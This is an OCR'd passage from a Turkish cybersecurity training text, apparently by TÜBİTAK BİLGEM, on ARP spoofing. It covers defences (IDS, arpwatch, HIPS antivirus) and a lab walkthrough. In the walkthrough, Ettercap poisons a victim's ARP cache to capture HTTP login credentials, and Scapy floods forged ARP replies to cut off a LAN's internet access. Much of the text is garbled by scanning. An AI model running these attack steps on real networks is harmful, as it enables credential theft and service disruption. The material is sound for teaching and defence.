tespit eden (detector) yazilimlar kullanabilir. Yerel ag igerisinde bir anda anormal arp paket
artis| ya da anormal arp paket icerikleri gérintilediginde buna mukabil sistem yoneticileriniz
gelen anomali uyarilarina kargi incelemede bulunup aksiyon alabilirler ve olasi bir saldirida
saldirgani tespit edip birim amirlerine durumu izah edebilirler ve saldiriy1 da bertaraf edebilirler.
Bu is icin yerel aglara IDS (Intrusion Detection System) trunleri kurulmasi 6nerilir. Host tabanli
sistemler (kullanici bilgisayarlari) igin ise linux igletim sistemlerinde arpwatch adli arag
kullanilabilir. Yalniz buraya dikkat edilmesi gerekmekte: Bu ¢6zim arp zehirlemesini
onlememektedir. Arp zehirlemesini tespit etmektedir. Sizin tespit sonrasi uyariimanizla birlikte
elle aksiyon almaniz sonucu arp zehirleme saldirisi dnlenebilir.

iv) Antivirus Yazilimlar Kullanma

Antivirus yazilimlari kullanilabilir. Birgok antivirus yazihmi bu sorun i¢in kendi icerisinde
sezgiye dayali ve 6grenmeye dayali ¢ézumler Uretmistir, fakat burada bir noktaya isaret
etmekte fayda var. Sayet antivirus yazilimi kullanacaksaniz sececeginiz Urln Internet
Guvenliginden ziyade AJ Guvenligi Gzerine olmalidir. Mimkuinse hepsinin dahil oldugu da
olabilir. Ornegin ESET NOD32 driininin NOD32 Antivirus ve NOD32 Internet Security
seklinde iki ayri Grinu mevcuttur. Bu Urtinlerden Internet Security sadece internet glivenliginizi
ele alirken Antivirus sistemsel ve ag tabanh guvenliginizi ele alr. Dolayisiyla nod32 ya da
baska bir antivirus Grunu alacaksaniz A Guvenligi sunan paketleri segmeniz dnerilir.
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Detected ARP cache poisoning attack

Remote IP: 192.168.1.28

(Bir pentest'te tim aga karsi yaptigim arp zehirleme saldirisi sirasinda
yanimda oturan arkadasimin antivirus yazihminin alarm vermesine ithafen...)

Not 1: Antivirus ¢6zUmunin sonugta ARP protokollnin tasarimsal eksikligini (temeli) ylizde
yuz kapatamayacagi bir gercektir. Burada bahsedilen antivirus dahil her bir yontem "Arp
Spoofing'e Karsi Onlem" basligina giriste de belirtildigi izere pansuman tedbir niteligindedir.
Dolayisiyla olaya bu gézle bakiimalidir.

Not 2: Antivirus konusunda belirtilen antivirus UrUnlerinden "Ag Saldirilarina karsi 6nlem
sunan" antivirus paketlerini secin tavsiyesini birim yoneticimizle konusmam sonrasi ¢ok daha
spesifik bir cimleye indirgenebilecegini misahede ettim. Sorulan soru ve gelen cevap
neticesinde edindigim bilgiye gore o tavsiyeyi; "antivirus Urind segerken IPS urinlerinin
isleviyle ayni olan, fakat host tabanl (istemci tabanli) sistemlerde kullanilan HIPS (Host-Based
Intrusion Prevention System) adli ¢6zime (module) sahip antivirus paketlerini tercih edin"
seklinde guincellemek daha net bir kistas ortaya koyacaktir. Orn;

1 =% X
1 SMART SECURITY B
@ Computer protection @
A Home
[ @ Real-time file system protection
O, Compu’(er scan :;i‘) Enabled: immediate detection and cleaning of malware on your computer. # >
< Update (@ Device control el
- Disabled permanently
& Tools
7 Host Intrusion Prevention System (HIPS)
1 T SEtUP @ Enabled: detection and prevention of unwanted behavior from applications. *
©® Help and support

m Gamer mode

Paused: performance optimizations for games and presentation.

: Webcam protection
- [© Enabled: protect your webcam from misuse and spying attempts. # W
Rule based webcam access activated

@ Pause Antivirus and antispyware protection

SAFER TECHNOLOGY™ 11 Import/Export settings ¥ Advanced setup
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gibi. Bu module sahip antivirus Urunleri sizin yerel aginizda belli muddet yapacaklari ag trafik
okumalari sonrasi edindikleri tecriibe nispetinde (agin normal seyir halini 8grenme miktarinca)
arp zehirlemesi v.b. ag tabanl saldirilara karsi makinelerinizi koruyacaklardir. Ancak
antiviruslerin HIPS moddilleri - tipki apayri bir cihaz olarak yerel aga yerlestirilen IPS Grtnleri
gibi - sezgi ve 6grenmeye dayali bir givenlik mekanizmasi sunmasi dolayisiyla ara ara (belki
de sik sik) false positive (yanlis alarm) sonuglar Uretebilir.

Sorumluluk Reddi

Bu makale ve bu makalenin yer aldid) makale zincirinde anlatilan her bir teknigin izinsizce bir sisteme
denenmesi sonucu tespit edimeniz durumunda 5 ila 10 yil hapis cezasina carptinlabilecedinizi ve
aynyetten yaptidimz hasara oranla maddi tazminat cezasina carptiniabilecedinizi  bildiginizi
varsayryorum. Tom bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili
olursaniz olun "givenilmez” damgas! yiyecedinizden Torkiye'de siber givenlik sektorind unutmak
mecburivetinde kalacadimizi da bildiginizi varsayiyorum. Bu makale ve bu makalenin yer aldidi
makale zincirinde editim amach anlatilan tekniklerin kdti yonde kullaniimasindan tarafim sorumlu
tutulamaz. Bu bilgiler sadece ve sadece Glkemizde siber glvenlik alamindaki eleman eksikligini
gidermek maksadiyla paylasiimalktadir. Makale icerisinde yer alan bazi kelime kaliplannin {(&émn;
"sizmak istedigimiz / saldirmak istedifimiz" gibi) sadece ve sadece bir sizma testci (pentester) bakis
agisindan ibaret oldudunu beyan etmek isterim.
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ARP SPOOFING iLAVE UYGULAMALAR

Merhaba arkadaslar, bu makalede sizlerle arp zehirlemesi (zerine ilave uygulamalar
paylasilacaktir. Bu makale bir 6nceki makaleyle ilintili oldudu igin makale siralamasi su
sekildedir:

= Arp Spoofing Saldirisi Nedir ve Nasil Yapilir
= Arp Spoofing llave Uygulamalar

Bu makalede yer alacak bagliklar ise su sekildedir:

a. Ettercap Grafik Arayuzu ile Arp Spoofing
b. Arp Spoofing ile Yerel AJ Internetini Kesme

a. Ettercap Grafik Arayiizii ile Arp Spoofing

Bu uygulama dnceki makalede yapilan arp zehirlemesi ile yerel agdaki kurbanin kritik verilerini
(¢)alma islemini bu sefer Ettercap aracinin grafik araylzi secgenegini kullanarak yapiligini
gOsterecektir.

Gereksinimler

(+) Uygulama belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Pardus Linux 17.5 LTS [indir] // Saldirgan Sistem
Windows 10 Enterprise ENG LANG x64 [indir] // Kurban Sistem
Oncelikle saldirgan bilgi toplama safhasinda saldirida lazim olacak g bilgiyi toplar:

Pardus Terminal:

£
f
a

ip

®

) Ethernet arayiiz ismini Sgrenme
ddress # Cikti: enpes31fe
£f(*) Router ip &grenme

ip route # Cakti: 172.16.3.1

Af(®) Kurban IP'sini 8grenms

#

/f Sosyal mih. i1le ya da gizli kapakli isler ile  # Caikta: 172.16.3.97

Daha sonra saldiriya baglar.
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Pardus Terminal:

A40F) Kurulum

#

SUdD =U

;#%;get install ettercap-graphical

H(F) Calistirma
ettercap -G

Ciktr:

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

[

ettercap 0.8.2
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Onceki makalede hatirlarsaniz Ettercap aracini -T parametresiyle kullanmistik. Ettercap'e -T
parametresi verildiginde konsol araytziinde ¢aligir. -G parametresi (Graphical) verildiginde ise
yukaridaki gelen pencerede goruldugu Gzere grafik araylziinde ¢aligir.

Saldirgan saldiri igin ethernet kartini promiscous moda ve trafik ydnlendirme haline gegirir:

ettercap 0.8.2

File Sniff BOPEHBRSY Info

Unoffensive

Promisc mode

Daha sonra Sniff'lemeyi (Paket Yakala islevini) baslatir ve bilgi toplama safhasinda elde ettigi
ethernet araytz ismini secerek Tamam der.

ettercap 0.8.2
File BSHIEN Options Info
B unified sniffing... Ctri+U
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ettercap Input

Network interface : | enp0s31f6

@ iptal + Tamam

Sonra yerel agi tarayarak aga bagli makineleri (IP'lerini) tespit eder.

ettercap 0.8.2

i= Hosts list
Enable IPv6 scan

Scan for hosts Ctrl+S B
‘I‘ Load from file

lr Save to file..

42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...
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ettercap

SR GERTLBIERimask for 255 hosts... @ iptal

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning..
Scanning the whole netmask for 255 hosts..
13 hosts added to the hosts list..
Randomizing 255 hosts for scanning..
Scanning the whole netmask for 255 hosts..

ettercap 0.8.2
Hosts
Hosts list

Enable IPv6 scan

Q, Scan for hosts

4 Load from file... [
/i Save to file... :\\
A /

Starting Unified snif‘ﬁﬁg

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
13 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
13 hosts added to the hosts list...
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Connections x  Host List x

IP Address MAC Address Description
172.16.3.1 00:17:A4:B5:A9:00
172.16.3.95 54:BR64:70:14:4F
172.16.3.97 E4:B9:7A:08:01:61

Delete Host Add to Target 1 Add to Target 2
Starting Unified snifﬁﬁg

Randomizing 255 hosts for scanning..
Scanning the whole netmask for 255 hosts..
3 hosts added to the hosts list..
Randomizing 255 hosts for scanning..

Scanning the whole netmask for 255 hosts..
3 hosts added to the hosts list...

Sonra arasina girecegi hedefleri sirasiyla Target olarak isaretler. Ornegin bu uygulamada
saldirgan bilgi toplama safhasinda router IP'si olarak 172.16.3.1 IP'sini ve kurban IP'si olarak
da 172.16.3.97 IP'sini elde etmisti. Dolayisiyla 6nce Router' (172.16.3.1 IP'sini) Target 1
olarak isaretler:

ettercap 0.8.2

Connections ®  Host List %

IP Address EAC Address Description n

172.16.3.95 54:BF:64:70:14:4F
172.16.3.97 E4:B9:7A:08:01:61

Delete Host Add to Target 1 Add to Target 2
Starting Unified snifﬁﬁg...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
‘Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Daha sonra kurbani (IP'sini) Target 2 olarak isaretler:
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Connections =  Host List x

IP Address MAC Address Description
172.16.3.1 00:17:A4:B5:A8:00

172.16.3.95 54:BR64:70:14:4F

172.16.3.97 "~ «B9:7A:08:01:61

Delete Host Add to Target 1 Add to Target 2

Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Host 172.16.3.1 added to TARGET1

Host 172.16.3.97 added to TARGET2

En sonunda ise Mitm -> Arp poisoning menistinden plugin'ini seger ve

Mitm | Filt

ARP poisoning...

Connections x

IP Address MAC Ag ICMP redirect

172.16.3.1 Port stealing...

172.16.3.95 DHCP spoofing..

172.163.97 F :B9:7A:08:0 | Nl

Stop mitm attack(s)

Delete Host Add to Target 1 Add to Target 2

Randomizing 255 hosts for scanning...
Scannina the whole netmask for 255 hosts...
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Connections x = HostList X

IP Address MAC Address Description
172.16.3.1 00:17:A4:B5:A9:00

172.16.3.95 54:BF64:70:14:4F

172.16.3.97 E4:BS9:7A:08:01:61

MITM Attack: ARP Poisoning

-~ Optional parameters

4
n _% Sniff remote connections B

Only poison one-way.

@ Iptal + Tamam
Delete Host Add to Target 2

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts..
3 hosts added to the hosts list.
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts..
3 hosts added to the hosts list...

Host 172.16.3.1 added to TARGETL

Host 172.16.3.97 added to TARGET2

gelen klglk penceredeki seceneklerden Sniff Remote Connections kutucuguna tick atip
Tamam der. Bdylece saldiriyi baglatir.

Not:

Sniff Remote Connections segenegini segerek Ettercap'e kurbanin sadece
gonderdigi http paketlerini degil, kurbana yanit olarak donen http paketlerini de
sniff'le (yakala) demis oluyoruz. Eger sadece kurbanin génderdigi http taleplerini
sniff'leyi ve kurbana yanit olarak internetten gelen paketleri ise sniff'lememeyi
tercih edecek olsaydik Only Poison One Way kutucuguna tick atip Tamam
derdik.

Saldirgan makinesi (Pardus 17.5 LTS) su an kurban makine (Windows 10 Enterprise)
ve Router arasina girmistir.
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Connections x  Host List X

IP Address MAC Address Description
172.16.3.1 00:17:A4:B5:A9:00

172.16.3.95 S54:BR64:70:14:4F

172.16.3.97 E4:B9:7A:08:01:61

Delete Host Add to Target 1 Add to Target 2

Host 172.16.3.1 added to TARGET1
Host 172.16.3.97 added to TARGET2

IARP poisoning victims:
GROUP 1:172.16.3.1 00:17:A4:B5:A9:00 ‘—

GROUP 2 :172.16.3.97 E4:B9:7A:08:01:61 (

Yani kurbanin trafigi artik saldirgan makine Uzerinden gegmektedir. Bu siralarda kurban
makinede bir http web uygulamasina login islemi yapildigini varsayalim.

Kurban Makine (Windows 10 Enterprise):
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Ag Haberlesmesi ve

Arp Saldirilar:

< ‘ Anasayfa | #Include <Ke X | & &

&« = O ) @ www.includekarabuk.com = 7. g
B UU CLAUd YRGS (USVSTUUT) MCSPIUIL LT S4UNL ARALA (UZEL 5 MIUL, SWIKLIL, KUULE, WVUUET I,
Metasploit Komutlars Metasploit Detay Bilgiler Metasploit Detay Bilgiler (Ozet) Bu Gateway ve Access Point

makalede sizlerle Metasploit Fram . [Devami]
Buyaz 14.112018 tarihinde, s2at 123620 vazlaustr

Farklan
BGA Sinav Sorulan 2016

GET ile POST Arasindaki Fark
Stack ve Heap Arasindaki Fark

Metasploit Komutlar

Bu vazida sizlerle msfeonsole komutlan paylagilacaktir. Bu komutlar bir Metasploit
Framework arayizi olan msfeonsole'daki vetkinlifinizi arttwacadi igin sizin
metasploit framework ile olan etkilesiminizde daha etkili bir manevra kabiliyeti
kazanmanizi saglayacaktr. Oncelikle bu baghga daha @nceki ilintili bagliklarn
okumadan geldiyseniz konu zincirini géstermek admna asagidaki liste verilmistir:
Metasploit Framework'e Giris Metasploit ile Bir Sizma Uvgulamast (ms08-06..
[Devami]

Buyan 13 11 2018 tarthinde, saat 13-58:48'de yanmlmgtir

#En Son Yazilar

Metasploit Detay Bilgiler (Ozet)
Metasploit Detay Bilgiler
IMetasploit Komutlan
Metasploit Saldin Asamalan
(Ozet)

Metasploit ile Bir Sizma
Uygulamasi (ms08-067)

Metasploit Saldir Asamalari (Ozet)

Merhaba, bu makalede sizlere daha onceki makalede yapilan sizma iglemi igin Szet
niteliginde clan metasploit ile saldin asamalar gdsterilecektir. Bu asamalar
genellestirilmistir. Bu vaziva eger dnceki ilintili konuyu okumadan bagladiysanz
konu zincirini gostermek baglaminda agagidaki liste verilmistir:  Metasploit
Framework's Giriy Metasploit ile Bir Sizma Uygulamasi (ms08-067) Metasploit ile
Saldin Agamalan (Ozet) Metasploit Komutiar Metaspl... [Devami]

2018 tarihinde, szat 13:58 40'de yanlmuyur.

Eumanl3

Metasploit ile Bir Sizma Uygulamasi (ms08-067)

Merhaba, bu makalede sizlere Metasploit Framework't kullanilarak hedef bir sisteme
sizma Ornedi (exploitation) ve hedef sistemde bir payload ¢aligtirma oOrmegi
gosterilecektir. Bu yaziya eger onceki tlintili konuyu okumadan basladiysamz konu
zimncirini géstermek baglaminda agagidaki liste verilmigtir: Metasploit Framework'e
Giriy Metasploit ile Bir Sizma Uvygulamas: (ms08-067) Metasploit ile Saldin
Asamalan (Ozet) Metasploit Komutlars Metasploit D... [Devami]

Buyaz 13.11.2018 tarihinde, saet 13:56:26'de vazlmgnr.

#Girig

- cilginjosl

© Copyright 2014 - 2019 | Hasan Fatih SIMSEK

Kurban makinedeki kisi oturum ac¢ butonuna bastigi an gonderecegi paket saldirgan
makinesine, oradan router'a ve internete gideceginden ve saldirgan makinesindeki paketleri
dinleyen Ettercap bu tip kritik addedilebilecek verileri otomatikmen paketler icerisinden
saptama mekanizmasina sahip oldugundan c¢ikti olarak kurbanin girdigi hesap verilerini
(kullanici adi ve sifre oldugunu duslnerek) bize pencerenin alt kismindaki ¢ikti kdsesinden
sunacaktir:
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ettercap 0.8.2

Connections ® = Host List %

IP Address MAC Address Description
172.16.3.1 00:17:A4:B5:A9:00

172.16.3.95 54:BF:64:70:14:4F

172.16.3.97 E4:B9:7A:08:01:61

Delete Host Add to Target 1 Add to Target 2

ARP poisoning victims:
GROUP1:172.16.3.1 00:17:A4:B5:A9:00
GROUP 2 :172.16.3.97 E4:B9:7A:08:01:61

HTTP : 46.45.187.221:80 -> USER: EASg Fﬁgggl rd= iﬁiiﬂ INFO: http:/f/www.includekarabuk.com/
CONTENT: I_|serlD=cilt.;in'oe&l_lserpasswor = enm‘ﬁuze sirrem&online=1

Goruldugu uzere high-level bir ¢oziim ile kurban bir kimsenin hesap bilgilerini elde edebildik.

Sniffing islemi sonrasi hedef kurban bilgisayarin network hizmetini crash etmeden (internet
baglantisini bozmadan) terk edebilmek igin sirasiyla

Start->Stop Sniffing
Mitm->Stop Mitm Attack(s)

sekmelerine tiklanmalidir. Béylece hedef bilgisayar tekrar rayina oturarak kurban kimse
bilgisayarindan internet erisimini kendi bilgisayari - router - internet hatti Gzerinden
surdurebilecektir.

b. Arp Spoofing ile Yerel Ag Internetini Kesme

Bu uygulamada arp zehirlemesi yaparak bu sefer yerel agdaki internet trafigini kesme saldirisi
yapilacaktir. Bu is i¢in arpspoof gibi elle, fakat daha low level (daha ayrintili) sahte paket
uretmemizi saglayacak scapy aracindan faydalanilacaktir.

Saldiri genel manasiyla su sekilde isleyecektir: Saldirgan sahte arp paketleri ile kendini yerel
agdaki tim makinalara router olarak tanitacaktir. Fakat bu sefer bu islem sonrasi router'a ben
kurban makinayim / makinalarim demeyecektir ve ethernet kartini promiscous moda - gelen
trafigi yonlendir moduna gegirmeyecektir. Clinkli buradaki amag kurbanlarin trafigini Gzerimize
alip dogru hedefine (router'a) yonlendirerek kurbanlarin disariyla olan iletisiminin devam
etmesi ve trafiklerini okuyarak kritik veriler elde etmek degildir. Buradaki amag trafigi Uzerimize
alip makinamizda noktalatmaktir. Bylece yerel agdaki kurbanlar internet trafiklerini disariya
ulastiramayacagindan internet erisimleri kopmus olacaktir. Bu isin teori kismi.

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi

73



TASNIF DISI Ag Haberlesmesi ve Arp Saldirilari

Teknik detay verecek olursak saldirgan yerel agdaki tim cihazlara router'in MAC adresini
hatali olarak bildirdiginde - ki bildiginiz gibi yerel aglarda iletisim MAC adresleri lzerinden
olmaktadir - tum cihazlar router'a paket gonderiyorum derken bagka bir yere (saldirgana)
paketlerini gdndereceklerdir. Bu sayede kurban drnegin google.com'a génderecegi siteyi
istiyorum paketini router Uzerinden google.com sunucusuna gonderecekken saldirgana
gbnderip saldirganda noktanmasindan dolayi internet erisimi kopmus olacaktir. Boylelikle
kurbanlarin disariyla iletisimi bitirilmis olacaktir. Ancak bu sikinti sonrasi cihazlar arp yayini
yaparak Router'i tekrar bulabilirler ve internet baglantilarini onarabilirler. Bu nedenle yerel
agdaki cihazlara gonderilecek sahte arp paketlerini bir kez degil, strekli gdndermemiz gerekir.
Olusturdugumuz sahte ARP paketleri ile yerel agda surekli arp yayini (agdaki tum makinalara
arp paket gonderimi) yaparak cihazlarin internet baglantilarini biz kopaririken onlar
onaracaklardir. Bu mucadelenin sonu kuguk ve orta Olgekli aglarda saldirgandan yana
olacaktir. Buyuk Olgekli aglarda makina sayisinin binleri varmasi dolayisiyla saldirganin bu
kadar makinaya yetismesi kolay olmayabilir. Fakat bu istisnalar disinda yerel aglarin cogunda
bu saldiri ise yaramaktadir.

Yerel agda internet erisimlerini kaybeden kurbanlar bir Local Area Network DOS saldirisi (LAN
Servis Dis1 Birakma saldirisi) yemis olmaktadir. Simdi bu yerel ag DOS saldirisini scapy tool'u
ile olusturacagimiz sahte arp paketleri ile yapalim.

Gereksinimler

(+) Uygulama belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Pardus Linux 17.5 LTS [indir] // Saldirgan Sistem

Windows 10 Enterprise ENG LANG x64 [indir] // Kurban Sistem

Oncelikle bilgi toplama sahfasi olarak Router'in IP'sine ihtiyacimiz vardir. Onceki
uygulamalarda yaptigimiz gibi bagka bilgi toplamaya bu uygulamada lizum yoktur. Clnki
yerel agdaki tim makinalar hedef konumundadir.

Pardus Terminal:

J4(*) Router ip Brenmes
ip route # Cikti: 172.16.3.1

Saldiri igin artik hazirniz. Simdi scapy aracimizi basglatalm.
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Pardus Terminal:

£ (%) Kurulum

éb%;g;t install tcpdump graphviz imagemagick python-matplotlib python-cryptography python-pyx scapy
J4(F) Calistirma

scapy

Ciktr:

hef UBITAK
[sudol password for he

- /ho . scapy
WARNING: No route found for IP estination :: (no default route?)
INFO: 't import python Won't be able to decrypt WEP.
INFO: Can't import python certificate manipulation tools
INFO: Can't import pyt e lib. ate manipulation tools
e to Scapy (unknown.ver i

Goruntulemekte oldugunuz ekran scapy aracinin araytzudir. Simdi bir Arp paket sablonu
(nesnesi) olusturalim ve paketin bolimlendirmelerini (bagliklarini) gérintuleyelim.

Pardus Terminal:

»»» arpPacket=ARP() /f Arp paketi olusturur.
»»» arpPacket.show() £/ Arp paketinin bdlimlendirmelerini
Jf (basliklaraini) siralar.

Ciktr:
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Ughirim - root@ TUBITAK-HASANFSIMSEK2: /home/hefese

Dizenle ¢« - Ucbirim Sekmeler Yardim

UBITAK-HASANFS

No route found f Vb :: (no default route?)
t import python o lib. Won't be able to decrypt WEP.
n't import python Disabled certificate manipulation tools
n't import python a lib. Disabled certificate manipulation tools
xnown . version)

Goruntulemekte oldugunuz basliklar 6nceki makaleyi okuyanlara yabanci gelmemig olmal.
Bunlar Arp paket sablonunun bolimleri. Arp paketi baslklari su an default degerlerle
doldurulmus vaziyettedir. Simdi amacimiz dogrultusunda kaynak IP adres (psrc) degerini,
kaynak MAC adres (hwsrc) degerini, hedef IP adres (pdst) degerini, hedef MAC adres (hwdst)
degerini ve Arp Paketinin Amaci / islevi (op) degerini diizenlememiz gerekmektedir.
Dolayisiyla

psrc 'a 172.16.3.1 degerini ( yani router IP adresini),

pdst 'e 172.16.255.255 degerini ( yani tim agdaki makinalar
anlamindaki IP yayin adresini ),

hwsrc 'a 01:02:03:04:05:06 dederini ( yani uyduruk bir MAC adresini ),

hwdst 'e ff:ff:ff:ff:ff:ff dederini ( yani tim agdaki makinalar
anlamindaki mac yayin adresini ),

op 'a 2 degerini ( yani arp paketinin Arp

"Reply" (Arp "Yanit")
paketi olacadi bilgisini )

Operation (op) Degerleri Operation (op) Tanimlarn
ARP-istek (Request)

ARP-Yanit (Reply)
RARP-Istek (Request)
RARP-Yanit (Reply)
DRARP- istek (Request)
DRARP- Yanit (Reply)
DRARP-Hata (Error)
INARP- Istek (Request)
INARP- Yanit (Reply)

0 ARP-NAK

—

= O o Nl O ;o] &~ W P
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vererek paketi hazir hale getirebilir,

Uchirim - root@ TUBITAK-HASANFSIMSEK2: fhome/hefese

Yardim

TUBITAK-

. scapy
No route found f 6 de ion :: (no default route?)
't import python pto lib. Won't be able to de P.
't import python Crypto 1lib. Disabled certificate manipulation tools
an't import h lib. Disabled certificate manipulation tools
me to S ( 1 !

[~] Bilgi:

Kaynak MAC adres olarak saldirgan kendi MAC adresini girebilirdi. Bu, saldirinin
olmasina engel degildir. Bu 6rnekte saldirgan kaynak MAC adresi olarak kendi MAC
adresi yerine uyduruk bir MAC adresi girmistir. Yani olmayan bir makinayi router olarak
gostermistir. Uyduruk MAC adresi girilmesinin olayi yerel agdaki onlarca makinanin
router zannedip trafiklerini saldirgana yollayarak saldirgan makinanin ethernet kartinin
ve servisinin yorulmasina neden olmasin diyedir. Boylece saldirgan makina yerel
agdaki makinalarin hicbirinden trafik almadan hafif bir gekilde maksimum ag
performansiyla DOS saldirisini yapabilecektir.

send(...) fonksiyonunu girerek ise saldiriyi baglatabiliriz.

Ucbirim - root@TUBITAK-HASANFSIMSEK2: /home/hefese

lib. Disabled ate
ib. Disabled certificate manipulation tools
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Not:

Saldiri makinasinda arp paketini olusturup baslik bilgilerini girdikten
sonra paket gonderimine (send(...) fonksiyonu ile) baglamadan evvel

>>> arpPacket.show()

diyerek paketimizin gonderimden onceki son halini gérintuleyebiliriz.

Ucbirim  Sekmeler Yardim

Saldiri bagladiginda asagidaki gibi génderilen her arp paketi icin ekrana nokta (.) gelecektir.
Bu noktalar deneyimleyeceginiz tizere ¢ok hizli ekranda akacaktir.

Ucbirim Sekmeler Yardim

Saldiri sirasinda yerel agda kurban konumundaki makinalardan birinde tarayicida web siteleri
erigilebilir durumdayken ,
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Kurban Makina (Windows 10 Enterprise):

B & G Google @ shiftDeleteNet - Turkiy X | 4
€ > O @ 1ps://shiftdeletene

Shift Foum  Videolar  Inc Mobil  Oyun  Sos

Delete

Galeri - UKT- Nasil Yapilir?- Android - 05~ Windows 10~ Donanim - Otomobil D =3 acis

»

Teknoloji Zirvesi
#senyapdiye

sontv Andraid

2.000 TLye almir mi? - Call Screen 6zelligi

Nokia 5.1 Plus inceleme! Android One telefonlara
geliyor!

5G teknolojisi insan sagligina zararli olabilir mi?
Cep telefonu kullanimi ve radyasyonun insan vucudu uzerindeki olasi
etkilerine iliskin endigeler, 5G teknolojisinin kullanimi yaklastikea
yiikselis gosteriyor. Peki 5G gercekren insan saglidina zararls olabilir

Akills Telefon - 1'

‘0030000000 xmmossom v

Bear Edition tamitildi! Huawei'den katlanabilir
telefon agiklamasi!

Sosyal Medya'da Shiftdelete.net

B0

& G Google % |3 cant reach this page ~ s E i
L

(= O @ a www google.com.r Y = 2

PP o i |

Google

GoogledaAra  Kends

Sansh Hissediyorum

Would you like to save your password for www.includekarabuk.com?
Yes Never X

More info
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sayfalar refresh'lendiginde (yenile dendiginde) artik web sitelerine ulasilamadigi gérilecektir.

Kurban Makina (Windows 10 Enterprise):

‘E ﬂ| = Google B3 cantreachthis page X | + - o b.g

= O @ ©ttps://shiftdeletenet ¢ = L

Try this

O Hmmm...can't reach this page
o
- s

got the right web

B & O cantreachthispage  x |{5) Can'treach this page ‘+ ~ - o X

&= O @ www.google.com.tr, 4 * L

Kurban makinada ayrica saldiri dncesi internet erisim durumunu kontrol etmek baglaminda
google DNS sunucuya gidilebildigi gorlilecekken saldiri sirasinda google DNS sunucuya
gidilemedigi / yanit alinamadigi gorulecektir.
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Kurban Makina (Windows 10 Enterprise):

Select Command Prompt - [m] X

fese>ping 8.8.8.

TTL=116
TTL=116
TTL=116
s TTL=116

8
8
8
8.

Saldiry1 CTRL + C ile sonlandirdigimizda

Pardus Terminal:

: flhome/hefese

nt 151626

kurban makina tekrar web sitelerine erisim saglayabilecektir.
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Kurban Makina (Windows 10 Enterprise):

® & G Google @ shiftDeleteNet - Turkiy X | +

€ > O @ & nupsyfshiftdelerenes

Popiller Bilim

Forum Videolar leme: Mobil

n xowmmr | o v [T # s

Galeri- UKT- Nasil Yapilr?- Android- i0S- Windows 10- Donanim- Otomobil

»

Teknoloji Zirvesi
#isenyapdiye

SONTV Android

2.000 TLye aliir mi? - Call Screen &zelligi
Nokia 5.1 Plus inceleme! Android One telefonlara
geliyor!

5G teknolojisi insan sagligina zararli olabilir mi?
Cep telefonu kullammi ve radyasyonun insan viicudu uzerindeki olast
etkilerine iliskin endiseler, 5G teknolojisinin kullanimi yaklastikca
yilkselis gosteriyor. Peki G gergekten insan sagligina zararls olabilir

Akilli Telefon

. G o 3 o ° ° 0 o ° @ ’ Xiaomi Mi 9 SE Brown T

Bear Edition tamitild1! Huawei'den katlanabilir

telefon agiklamasi!

Sosyal Medya'da Shiftdelete.net

O8O0

B & G Google b %E&\tmﬁplgl + v
¥ = L e

SR .- - |

& O a & o google com it

Google

Goagle'da Ara Kendimi Sansi Hissediyorum

Would you like to save your password for www.includekarabuk.com?
Yes Never X

More info
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Saldiri Sonrasi
Tekrar Deneme

internet Halen Yok

ms TTL=117
TTL=117

o internet Geldi

imum = 24m

Saldiriy1 sonlandirmadan 6nce saldiri sirasinda sayet saldirgan makinada wireshark agacak
olsaydik Urettigimiz ve aga yaydigimiz paketleri aga gitmek tzereyken

FPardus Terminal:

wireshark

Ciktr:
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Capturing

File Edit View Go

&

®

Capture  Analyze

X € Q &= &

Statistics Telephony Wireless

=

I

T8

Tools Help

—Eaaal

p Frame 1123122:

42 bytes on wire (336 bits),

© 7 enp0s31fé: <live capture in progress=

42 bytes captured (336 bits) on
p Ethernet II, Src: Dell 6f:56:3a (54:bf:64:67:56:3a), Dst: Dell_68:01:61 (e4:
p Address Resolution Protocol (reply)

Packets: 1176922 - Displayed: 1176922 (100.0%)

interface @

ho:7a:08:01:61)

y a display filter . —J ~| Expression... =+
Time Source Destination Protocol Lengtt Info - e
1158.. 276.497570431 Dell 6f:56:3a pell_ag:@1:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.497871059 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.498198675 Dell 6f:56:3a pell 88:81:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.498508281 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.498809408 Dell 6f:56:3a pell_88:081:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.499111295 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.499411770 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.499711069 Dell 6f:56:3a Dell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:05
1158. 276.5000108823 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.500343760 Dell 67:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.500644443 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
1158. 276.500944286 Dell 6f:56:3a pell_sg:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:08
1158. 276.501242963 Dell 6f:56:3a pell_88:01:61 ARP 42 172.16.3.1 is at 01:02:03:04:05:06
